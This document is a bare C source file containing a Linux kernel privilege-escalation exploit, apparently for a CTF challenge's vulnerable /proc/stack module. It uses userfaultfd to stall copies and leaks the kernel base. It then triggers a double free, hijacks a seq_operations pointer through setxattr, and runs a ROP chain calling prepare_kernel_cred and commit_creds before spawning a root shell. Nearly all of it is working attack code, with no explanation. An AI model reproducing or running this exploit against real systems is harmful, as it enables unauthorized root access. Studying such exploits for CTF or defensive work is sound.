1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269
| #define _GNU_SOURCE #include <sys/types.h> #include <sys/xattr.h> #include <stdio.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <sys/ipc.h> #include <sys/shm.h> #include <semaphore.h>
void * kernel_base = 0xffffffff81000000; size_t kernel_offset = 0; size_t commit_creds = NULL; size_t prepare_kernel_cred = NULL; static pthread_t monitor_thread;
int dev_fd; size_t seq_fd; size_t seq_fd_reserve[0x100]; static char *page = NULL; static size_t page_size;
void errExit(char * msg) { printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); exit(EXIT_FAILURE); }
void register_userfault(void * addr, unsigned long len, void (*handler)(void*)) { long uffd; struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) errExit("userfaultfd");
uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API");
uffdio_register.range.start = (unsigned long) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER");
s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd); if (s != 0) errExit("pthread_create"); }
void* leak_handler(void *arg) { struct uffd_msg msg; struct pollfd pollfd; struct uffdio_copy uc; int nready; unsigned long uffd = (unsigned long)arg; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready != 1) { errExit("[-] Wrong pool return value"); } nready = read(uffd, &msg, sizeof(msg)); if (nready <= 0) { errExit("[-] msg error!!"); }
pop(&kernel_offset); printf("[*] leak ptr: %p\n", kernel_offset); kernel_offset -= 0xffffffff81c37bc0; kernel_base += kernel_offset; uc.src = (unsigned long)page; uc.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);; uc.len = page_size; uc.mode = 0; uc.copy = 0; ioctl(uffd, UFFDIO_COPY, &uc); return NULL; }
void* double_free_handler(void *arg) { struct uffd_msg msg; struct pollfd pollfd; struct uffdio_copy uc; int nready; unsigned long uffd = (unsigned long)arg; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready != 1) { errExit("[-] Wrong pool return value"); } nready = read(uffd, &msg, sizeof(msg)); if (nready <= 0) { errExit("[-] msg error!!"); }
pop(page);
uc.src = (unsigned long)page; uc.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);; uc.len = page_size; uc.mode = 0; uc.copy = 0; ioctl(uffd, UFFDIO_COPY, &uc); return NULL; }
size_t pop_rdi_ret = 0xffffffff81034505; size_t xchg_rax_rdi_ret = 0xffffffff81d8df6d; size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a; size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;
void* hijack_handler(void *arg) { struct uffd_msg msg; struct pollfd pollfd; struct uffdio_copy uc; int nready; unsigned long uffd = (unsigned long)arg; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready != 1) { errExit("[-] Wrong pool return value"); } nready = read(uffd, &msg, sizeof(msg)); if (nready <= 0) { errExit("[-] msg error!!"); }
for (int i = 0; i < 100; i++) close(seq_fd_reserve[i]);
pop_rdi_ret += kernel_offset; xchg_rax_rdi_ret += kernel_offset; mov_rdi_rax_pop_rbp_ret += kernel_offset; prepare_kernel_cred = 0xffffffff81069e00 + kernel_offset; commit_creds = 0xffffffff81069c10 + kernel_offset; swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10; printf("[*] gadget: %p\n", swapgs_restore_regs_and_return_to_usermode); __asm__( "mov r15, 0xbeefdead;" "mov r14, 0x11111111;" "mov r13, pop_rdi_ret;" "mov r12, 0;" "mov rbp, prepare_kernel_cred;" "mov rbx, mov_rdi_rax_pop_rbp_ret;" "mov r11, 0x66666666;" "mov r10, commit_creds;" "mov r9, swapgs_restore_regs_and_return_to_usermode;" "mov r8, 0x99999999;" "xor rax, rax;" "mov rcx, 0xaaaaaaaa;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, seq_fd;" "syscall" ); printf("[+] uid: %d gid: %d\n", getuid(), getgid()); system("/bin/sh");
uc.src = (unsigned long)page; uc.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);; uc.len = page_size; uc.mode = 0; uc.copy = 0; ioctl(uffd, UFFDIO_COPY, &uc); return NULL; }
void push(char *data) { if (ioctl(dev_fd, 0x57AC0001, data) < 0) errExit("push!"); }
void pop(char *data) { if (ioctl(dev_fd, 0x57AC0002, data) < 0) errExit("pop!"); }
int main(int argc, char **argv, char **envp) { size_t data[0x10]; char *uffd_buf_leak; char *uffd_buf_uaf; char *uffd_buf_hack; int pipe_fd[2]; int shm_id; char *shm_addr;
dev_fd = open("/proc/stack", O_RDONLY);
page = malloc(0x1000); page_size = sysconf(_SC_PAGE_SIZE);
for (int i = 0; i < 100; i++) if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0) errExit("seq reserve!");
uffd_buf_leak = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); register_userfault(uffd_buf_leak, page_size, leak_handler);
shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT); if (shm_id < 0) errExit("shmget!"); shm_addr = shmat(shm_id, NULL, 0); if (shm_addr < 0) errExit("shmat!"); if(shmdt(shm_addr) < 0) errExit("shmdt!");
push(uffd_buf_leak); printf("[+] kernel offset: %p\n", kernel_offset); printf("[+] kernel base: %p\n", kernel_base);
uffd_buf_uaf = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); register_userfault(uffd_buf_uaf, page_size, double_free_handler);
push("name"); pop(uffd_buf_uaf);
uffd_buf_hack = (char*) mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); register_userfault(uffd_buf_hack + page_size, page_size, hijack_handler); printf("[*] gadget: %p\n", 0xffffffff814d51c0 + kernel_offset); *(size_t *)(uffd_buf_hack + page_size - 8) = 0xffffffff814d51c0 + kernel_offset;
seq_fd = open("/proc/self/stat", O_RDONLY); setxattr("/exp", "name", uffd_buf_hack + page_size - 8, 32, 0); }
|